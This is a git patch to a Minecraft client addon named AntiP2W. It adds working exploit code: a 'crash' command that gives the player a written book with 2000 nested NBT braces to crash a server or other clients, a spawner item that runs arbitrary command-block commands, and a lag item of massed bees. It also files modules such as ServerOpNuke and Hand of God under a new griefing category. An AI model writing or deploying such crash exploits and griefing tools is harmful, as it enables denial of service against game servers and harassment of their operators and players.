From 43f7cb161bede0cdc8574d45ac5a4992cbcca650 Mon Sep 17 00:00:00 2001 From: 0x06 <56885523+0x000006@users.noreply.github.com> Date: Sun, 10 Mar 2024 12:05:16 +0100 Subject: [PATCH] WIP CreativeFunnies + small changes --- src/main/java/addon/antip2w/AntiP2W.java | 4 +- .../CreativeFunnies/CreativeFunnies.java | 135 ++++++++++++++++++ .../antip2w/commands/HologramCommand.java | 1 + .../addon/antip2w/modules/Categories.java | 1 + .../addon/antip2w/modules/DubCounter.java | 9 +- .../modules/griefing/AirstrikePlus.java | 2 +- .../modules/griefing/AutoScoreboard.java | 2 +- .../antip2w/modules/griefing/AutoTitles.java | 2 +- .../antip2w/modules/griefing/BoomPlus.java | 2 +- .../antip2w/modules/griefing/HandOfGod.java | 2 +- .../modules/{ => griefing}/ServerOpNuke.java | 5 +- .../addon/antip2w/utils/CreativeUtils.java | 40 ++++++ 12 files changed, 191 insertions(+), 14 deletions(-) create mode 100644 src/main/java/addon/antip2w/commands/CreativeFunnies/CreativeFunnies.java rename src/main/java/addon/antip2w/modules/{ => griefing}/ServerOpNuke.java (97%) create mode 100644 src/main/java/addon/antip2w/utils/CreativeUtils.java diff --git a/src/main/java/addon/antip2w/AntiP2W.java b/src/main/java/addon/antip2w/AntiP2W.java index 3eea9e0..a29bd5a 100644 --- a/src/main/java/addon/antip2w/AntiP2W.java +++ b/src/main/java/addon/antip2w/AntiP2W.java @@ -1,6 +1,7 @@ package addon.antip2w; import addon.antip2w.commands.*; +import addon.antip2w.commands.CreativeFunnies.CreativeFunnies; import addon.antip2w.hud.BrandHud; import addon.antip2w.modules.*; import addon.antip2w.modules.crash.AntiCrash; @@ -94,8 +95,8 @@ private static void registerWIPModules() { } private static void registerCommands() { - Commands.add(new ChestCommand()); Commands.add(new CommandCompleteCrash()); + Commands.add(new CreativeFunnies()); Commands.add(new DisconnectCommand()); Commands.add(new FunnyCrash()); Commands.add(new HologramCommand()); @@ -115,6 +116,7 @@ private static void registerHUDs() { public void onRegisterCategories() { Modules.registerCategory(Categories.DEFAULT); Modules.registerCategory(Categories.FUNNY); + Modules.registerCategory(Categories.GRIEF); Modules.registerCategory(Categories.WIP); } diff --git a/src/main/java/addon/antip2w/commands/CreativeFunnies/CreativeFunnies.java b/src/main/java/addon/antip2w/commands/CreativeFunnies/CreativeFunnies.java new file mode 100644 index 0000000..522c5c6 --- /dev/null +++ b/src/main/java/addon/antip2w/commands/CreativeFunnies/CreativeFunnies.java @@ -0,0 +1,135 @@ +package addon.antip2w.commands.CreativeFunnies; + +import addon.antip2w.utils.CreativeUtils; +import com.mojang.brigadier.arguments.BoolArgumentType; +import com.mojang.brigadier.arguments.IntegerArgumentType; +import com.mojang.brigadier.arguments.StringArgumentType; +import com.mojang.brigadier.builder.LiteralArgumentBuilder; +import com.mojang.brigadier.exceptions.CommandSyntaxException; +import meteordevelopment.meteorclient.commands.Command; +import meteordevelopment.meteorclient.events.game.GameLeftEvent; +import meteordevelopment.meteorclient.events.packets.PacketEvent; +import meteordevelopment.meteorclient.utils.player.ChatUtils; +import meteordevelopment.orbit.EventHandler; +import net.minecraft.client.MinecraftClient; +import net.minecraft.command.CommandSource; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.nbt.NbtCompound; +import net.minecraft.nbt.StringNbtReader; +import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket; +import net.minecraft.text.Text; +import net.minecraft.util.Hand; + +import static com.mojang.brigadier.Command.SINGLE_SUCCESS; + +public class CreativeFunnies extends Command { + private static final MinecraftClient mc = MinecraftClient.getInstance(); + private boolean cancelNextBookPacket = false; + + public CreativeFunnies() { + super("creative-funnies", "Do funny things in creative mode", "cf"); + } + + @Override + public void build(LiteralArgumentBuilder builder) { + builder.then( + literal("action") + .then( + literal("crash") + .executes( + ctx -> crash(1) + ) + .then( + argument("strength", IntegerArgumentType.integer(1)) + .executes( + ctx -> crash(IntegerArgumentType.getInteger(ctx, "strength")) + ) + ) + ) + ).then( + literal("item") + .then( + literal("bees") + .executes( + ctx -> getBees(1000, true) + ) + .then( + argument("amount", IntegerArgumentType.integer(1)) + .executes( + ctx -> getBees(IntegerArgumentType.getInteger(ctx, "amount"), true) + ) + .then( + argument("stronger", BoolArgumentType.bool()) + .executes( + ctx -> getBees(IntegerArgumentType.getInteger(ctx, "amount"), BoolArgumentType.getBool(ctx, "stronger")) + ) + ) + ) + ).then( + literal("cmdspawner") + .then( + argument("commands", StringArgumentType.greedyString()) + .executes( + ctx -> getCommandSpawner(StringArgumentType.getString(ctx, "commands")) + ) + ) + ) + ); + } + + private int getCommandSpawner(String commandstogether) { + ItemStack spawner = new ItemStack(Items.SPAWNER); + String[] commands = commandstogether.split("\\|"); + StringBuilder minecarts = new StringBuilder(); + for (String command : commands) minecarts.append("{id: 'minecraft:command_block_minecart', Command: '%s'},".formatted(command)); + String nbt = "{BlockEntityTag:{SpawnCount:1,SpawnRange:0,Delay:0,SpawnData:{entity:{id:'minecraft:falling_block',BlockState:{Name:'minecraft:redstone_block'},Time:1,Passengers:[{id:'minecraft:falling_block',BlockState:{Name:'minecraft:activator_rail'},Time:1,Motion:[0.0,0.35,0.0],Passengers:[" + minecarts + "]}]}}}}"; + CreativeUtils.giveItemWithNbtToEmptySlot(mc, Items.SPAWNER, nbt, Text.of("Place me!")); + return SINGLE_SUCCESS; + } + + private int getBees(int amount, boolean stronger) { + NbtCompound nbt = null; + NbtCompound bee = null; + try { + nbt = StringNbtReader.parse("{BlockEntityTag:{Bees:[]}}"); + if(stronger) bee = StringNbtReader.parse("{EntityData:{Attributes:[{Base:1000000.0d,Name:'minecraft:generic.movement_speed'}], id:'minecraft:bee'}, TicksInHive:2400}"); + else bee = StringNbtReader.parse("{EntityData:{id:'minecraft:bee'}, TicksInHive:2400}"); + } catch (CommandSyntaxException e) { + throw new RuntimeException(e); + } + + for (int i = 0; i < amount; i++) { + nbt.getCompound("BlockEntityTag").getList("Bees", 10).addElement(i, bee); + } + + CreativeUtils.giveItemWithNbtToEmptySlot(mc, Items.BEE_NEST, nbt.asString(), Text.of("Bees.zip (%d)".formatted(amount))); + return SINGLE_SUCCESS; + } + + @EventHandler + private void onPacket(PacketEvent.Receive event) { + if (cancelNextBookPacket && event.packet instanceof OpenWrittenBookS2CPacket) { + event.cancel(); + cancelNextBookPacket = false; + } + } + + @EventHandler + private void onDisconnect(GameLeftEvent event) { + cancelNextBookPacket = false; + } + + private int crash(int strength) { + if(!mc.player.isCreative()) { + ChatUtils.warning("Not in creative"); + return SINGLE_SUCCESS; + } + String nbt = "{pages:[\"{\\\"nbt\\\":\\\"" + "a:{".repeat(2000) + "}".repeat(2000) + "\\\",\\\"entity\\\":\\\"" + mc.player.getUuid() + "\\\"}\"],title:\"0\",author:\"" + mc.player.getGameProfile().getName() + "\"}"; + for (int i = 0; i < strength; i++) { + CreativeUtils.giveItemWithNbtToSelectedSlot(mc, Items.WRITTEN_BOOK, nbt, Text.of("bye")); + mc.interactionManager.interactItem(mc.player, Hand.MAIN_HAND); + } + return SINGLE_SUCCESS; + } +} diff --git a/src/main/java/addon/antip2w/commands/HologramCommand.java b/src/main/java/addon/antip2w/commands/HologramCommand.java index 2888562..cd13054 100644 --- a/src/main/java/addon/antip2w/commands/HologramCommand.java +++ b/src/main/java/addon/antip2w/commands/HologramCommand.java @@ -111,6 +111,7 @@ private int execute(boolean last) { mc.interactionManager.interactBlock(mc.player, Hand.MAIN_HAND, bhr); } mc.interactionManager.clickCreativeStack(lastStack, 36 + mc.player.getInventory().selectedSlot); + ChatUtils.info("Loaded Image", image.getWidth(), image.getHeight()); } catch (Exception e) { ChatUtils.info("exception: %s", e); diff --git a/src/main/java/addon/antip2w/modules/Categories.java b/src/main/java/addon/antip2w/modules/Categories.java index e5c316e..db49d35 100644 --- a/src/main/java/addon/antip2w/modules/Categories.java +++ b/src/main/java/addon/antip2w/modules/Categories.java @@ -6,5 +6,6 @@ public final class Categories { public static final Category DEFAULT = new Category("AntiP2W Tools", Items.BARRIER.getDefaultStack()); public static final Category FUNNY = new Category("AntiP2W Funny", Items.DIRT.getDefaultStack()); + public static final Category GRIEF = new Category("AntiP2W Griefing", Items.TNT.getDefaultStack()); public static final Category WIP = new Category("AntiP2W WIP", Items.LIGHT.getDefaultStack()); } diff --git a/src/main/java/addon/antip2w/modules/DubCounter.java b/src/main/java/addon/antip2w/modules/DubCounter.java index e3de9b5..d467a44 100644 --- a/src/main/java/addon/antip2w/modules/DubCounter.java +++ b/src/main/java/addon/antip2w/modules/DubCounter.java @@ -1,7 +1,6 @@ package addon.antip2w.modules; -import java.util.ArrayList; -import java.util.List; +import addon.antip2w.utils.TimerUtils; import meteordevelopment.meteorclient.events.render.RenderBlockEntityEvent; import meteordevelopment.meteorclient.events.world.TickEvent; import meteordevelopment.meteorclient.settings.IntSetting; @@ -10,13 +9,11 @@ import meteordevelopment.meteorclient.systems.modules.Module; import meteordevelopment.orbit.EventHandler; import meteordevelopment.orbit.EventPriority; -import net.minecraft.util.Formatting; -import net.minecraft.util.math.BlockPos; -import net.minecraft.util.math.BlockPos.Mutable; import net.minecraft.block.entity.BlockEntity; import net.minecraft.block.entity.ChestBlockEntity; import net.minecraft.block.entity.ShulkerBoxBlockEntity; -import addon.antip2w.utils.TimerUtils; +import net.minecraft.util.Formatting; +import net.minecraft.util.math.BlockPos; import java.util.HashSet; diff --git a/src/main/java/addon/antip2w/modules/griefing/AirstrikePlus.java b/src/main/java/addon/antip2w/modules/griefing/AirstrikePlus.java index b3da0ce..93cc0da 100644 --- a/src/main/java/addon/antip2w/modules/griefing/AirstrikePlus.java +++ b/src/main/java/addon/antip2w/modules/griefing/AirstrikePlus.java @@ -191,7 +191,7 @@ public class AirstrikePlus extends Module { public AirstrikePlus() { - super(Categories.FUNNY, "Airstrike+", "Catch this fucker!"); + super(Categories.GRIEF, "Airstrike+", "Catch this fucker!"); } final Random r = new Random(); diff --git a/src/main/java/addon/antip2w/modules/griefing/AutoScoreboard.java b/src/main/java/addon/antip2w/modules/griefing/AutoScoreboard.java index 666873b..8819d91 100644 --- a/src/main/java/addon/antip2w/modules/griefing/AutoScoreboard.java +++ b/src/main/java/addon/antip2w/modules/griefing/AutoScoreboard.java @@ -58,7 +58,7 @@ public class AutoScoreboard extends Module { ); public AutoScoreboard() { - super(Categories.FUNNY, "Auto Scoreboard", "Prints funny stuff to the users screen"); + super(Categories.GRIEF, "Auto Scoreboard", "Prints funny stuff to the users screen"); } @Override diff --git a/src/main/java/addon/antip2w/modules/griefing/AutoTitles.java b/src/main/java/addon/antip2w/modules/griefing/AutoTitles.java index 96e2dab..c20b6cf 100644 --- a/src/main/java/addon/antip2w/modules/griefing/AutoTitles.java +++ b/src/main/java/addon/antip2w/modules/griefing/AutoTitles.java @@ -207,7 +207,7 @@ public class AutoTitles extends Module { .build() ); public AutoTitles() { - super(Categories.FUNNY, "Title Troll", "Puts massive text to players screen"); + super(Categories.GRIEF, "Title Troll", "Puts massive text to players screen"); } private CopyOnWriteArrayList players; diff --git a/src/main/java/addon/antip2w/modules/griefing/BoomPlus.java b/src/main/java/addon/antip2w/modules/griefing/BoomPlus.java index 519efa9..aab4565 100644 --- a/src/main/java/addon/antip2w/modules/griefing/BoomPlus.java +++ b/src/main/java/addon/antip2w/modules/griefing/BoomPlus.java @@ -168,7 +168,7 @@ public class BoomPlus extends Module { ); public BoomPlus() { - super(Categories.FUNNY, "ANTI P2W cannon", "Shoots shit"); + super(Categories.GRIEF, "ANTI P2W cannon", "Shoots shit"); } private int aticks=0; diff --git a/src/main/java/addon/antip2w/modules/griefing/HandOfGod.java b/src/main/java/addon/antip2w/modules/griefing/HandOfGod.java index f2301e9..1ac15dd 100644 --- a/src/main/java/addon/antip2w/modules/griefing/HandOfGod.java +++ b/src/main/java/addon/antip2w/modules/griefing/HandOfGod.java @@ -363,7 +363,7 @@ public class HandOfGod extends Module { .build() ); public HandOfGod() { - super(Categories.FUNNY, "Hand of God", "Does funny shit with the players"); + super(Categories.GRIEF, "Hand of God", "Does funny shit with the players"); } private CopyOnWriteArrayList players; private int ticks=0; diff --git a/src/main/java/addon/antip2w/modules/ServerOpNuke.java b/src/main/java/addon/antip2w/modules/griefing/ServerOpNuke.java similarity index 97% rename from src/main/java/addon/antip2w/modules/ServerOpNuke.java rename to src/main/java/addon/antip2w/modules/griefing/ServerOpNuke.java index a912f61..de4f21a 100644 --- a/src/main/java/addon/antip2w/modules/ServerOpNuke.java +++ b/src/main/java/addon/antip2w/modules/griefing/ServerOpNuke.java @@ -1,5 +1,6 @@ -package addon.antip2w.modules; +package addon.antip2w.modules.griefing; +import addon.antip2w.modules.Categories; import meteordevelopment.meteorclient.events.game.GameLeftEvent; import meteordevelopment.meteorclient.settings.BoolSetting; import meteordevelopment.meteorclient.settings.Setting; @@ -28,7 +29,7 @@ public class ServerOpNuke extends Module { private final Setting altNameToOp; public ServerOpNuke() { - super(Categories.DEFAULT, "ServerOpNuke","Server Operator Nuker goes brrrrrrrrrrrrrrrrrrrrrrrr"); + super(Categories.GRIEF, "ServerOpNuke","Server Operator Nuker goes brrrrrrrrrrrrrrrrrrrrrrrr"); SettingGroup sgGeneral = settings.getDefaultGroup(); autoDisable = sgGeneral.add(new BoolSetting.Builder() .name("Auto disable") diff --git a/src/main/java/addon/antip2w/utils/CreativeUtils.java b/src/main/java/addon/antip2w/utils/CreativeUtils.java new file mode 100644 index 0000000..cd5123d --- /dev/null +++ b/src/main/java/addon/antip2w/utils/CreativeUtils.java @@ -0,0 +1,40 @@ +package addon.antip2w.utils; + +import com.mojang.brigadier.exceptions.CommandSyntaxException; +import net.minecraft.client.MinecraftClient; +import net.minecraft.client.network.ClientPlayerInteractionManager; +import net.minecraft.item.Item; +import net.minecraft.item.ItemStack; +import net.minecraft.nbt.StringNbtReader; +import net.minecraft.text.Text; + +public class CreativeUtils { + public static void giveItemWithNbtToEmptySlot(MinecraftClient mc, Item item, String nbt, Text customName) { + ItemStack stack = item.getDefaultStack(); + try { + stack.setNbt(StringNbtReader.parse(nbt)); + } catch (CommandSyntaxException e) { + throw new RuntimeException(e); + } + stack.setCustomName(customName); + if (mc.player.getMainHandStack().isEmpty()) + mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot); + else { + int nextEmptySlot = mc.player.getInventory().getEmptySlot(); + if (nextEmptySlot < 9) mc.interactionManager.clickCreativeStack(stack, 36 + nextEmptySlot); + else + mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot); + } + } + + public static void giveItemWithNbtToSelectedSlot(MinecraftClient mc, Item item, String nbt, Text customName) { + ItemStack stack = item.getDefaultStack(); + try { + stack.setNbt(StringNbtReader.parse(nbt)); + } catch (CommandSyntaxException e) { + throw new RuntimeException(e); + } + stack.setCustomName(customName); + mc.interactionManager.clickCreativeStack(stack, 36 + mc.player.getInventory().selectedSlot); + } +}